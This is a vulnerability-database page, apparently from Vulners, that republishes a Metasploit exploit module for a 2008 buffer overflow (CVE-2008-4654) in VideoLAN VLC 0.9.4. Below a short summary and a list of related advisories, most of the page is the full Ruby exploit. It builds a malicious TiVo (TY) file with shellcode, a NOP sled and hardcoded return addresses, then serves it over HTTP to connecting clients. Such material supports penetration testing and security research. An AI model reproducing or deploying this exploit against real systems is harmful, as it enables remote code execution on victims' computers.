Lucene search
K

VideoLAN VLC TiVo Buffer Overflow

🗓️ 26 Nov 2009 00:00:00Reported by MCType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 33 Views

Buffer overflow in VideoLAN VLC 0.9.4 allows remote attackers to execute arbitrary code via a malicious TY file

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2008-4654
21 Oct 200800:00
circl
Check Point Advisories
VideoLAN VLC Media Player TY Processing Buffer Overflow (CVE-2008-4654)
1 Oct 200900:00
checkpoint_advisories
CVE
CVE-2008-4654
21 Oct 200822:00
cve
Cvelist
CVE-2008-4654
21 Oct 200822:00
cvelist
Debian CVE
CVE-2008-4654
21 Oct 200822:00
debiancve
Exploit DB
VideoLAN VLC Media Player 0.9.4 - TiVo Buffer Overflow (Metasploit)
2 Feb 201100:00
exploitdb
Metasploit
VideoLAN VLC TiVo Buffer Overflow
3 Dec 200801:23
metasploit
NVD
CVE-2008-4654
22 Oct 200800:11
nvd
OpenVAS
VLC Media Player TY Processing Buffer Overflow Vulnerability - Windows
22 Oct 200800:00
openvas
OpenVAS
VLC Media Player TY Processing BOF Vulnerability - Linux
22 Oct 200800:00
openvas
Rows per page
`##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::HttpServer::HTML  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'VideoLAN VLC TiVo Buffer Overflow',  
'Description' => %q{  
This module exploits a buffer overflow in VideoLAN VLC 0.9.4.  
By creating a malicious TY file, a remote attacker could overflow a  
buffer and execute arbitrary code.  
},  
'License' => 'MSF_LICENSE',  
'Author' => [ 'MC' ],  
'Version' => '$Revision$',  
'References' =>   
[  
[ 'CVE', '2008-4654' ],  
[ 'OSVDB', '49181' ],  
[ 'BID', '31813' ],  
],  
'Payload' =>  
{  
'Space' => 550,  
'BadChars' => "\x00",  
'StackAdjustment' => -3500,  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'VideoLAN VLC 0.9.4', { 'Ret' => 0x6a5e6710 } ],  
[ 'VideoLAN VLC 0.9.2', { 'Ret' => 0x6a5e69d7 } ],  
],  
'Privileged' => false,  
'DisclosureDate' => 'Oct 22 2008',  
'DefaultTarget' => 0))  
  
end  
  
def autofilter  
false  
end  
  
def check_dependencies  
use_zlib  
end  
  
def on_request_uri(cli, request)  
  
return if ((p = regenerate_payload(cli)) == nil)  
  
ty = "\xF5\x46\x7A\xBD"  
ty << "\x00\x00\x00\x02"  
ty << "\x00\x02\x00\x00"  
ty << "\x00\x00\x00\x00"  
ty << "\x00\x00\x00\x00"  
ty << "\x00\x00\x05\x41"  
ty << "\x00\x00\x00\x00"  
ty << "\x00\x00\x05\x49"  
ty << "\x00" * 60  
ty << "\x00" * (1024 - payload.encoded.length) + payload.encoded  
ty << make_nops(2) + Rex::Arch::X86.jmp_short(6) + [target.ret].pack('V')  
ty << make_nops(12) + [0xe8, -525].pack('CV') + "\x00" * (129931)  
ty << "\x05"  
ty << "\x00\x00\x00"  
ty << "\x05"  
ty << "\x00"  
ty << "\x09"  
ty << "\xc0"  
ty << "\x00" * 14  
ty << "\x06"  
ty << "\xe0"  
ty << "\x00" * 302004  
  
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")  
  
send_response_html(cli, ty, { 'Content-Type' => 'application/octet-stream' })  
  
handler(cli)  
  
end  
  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation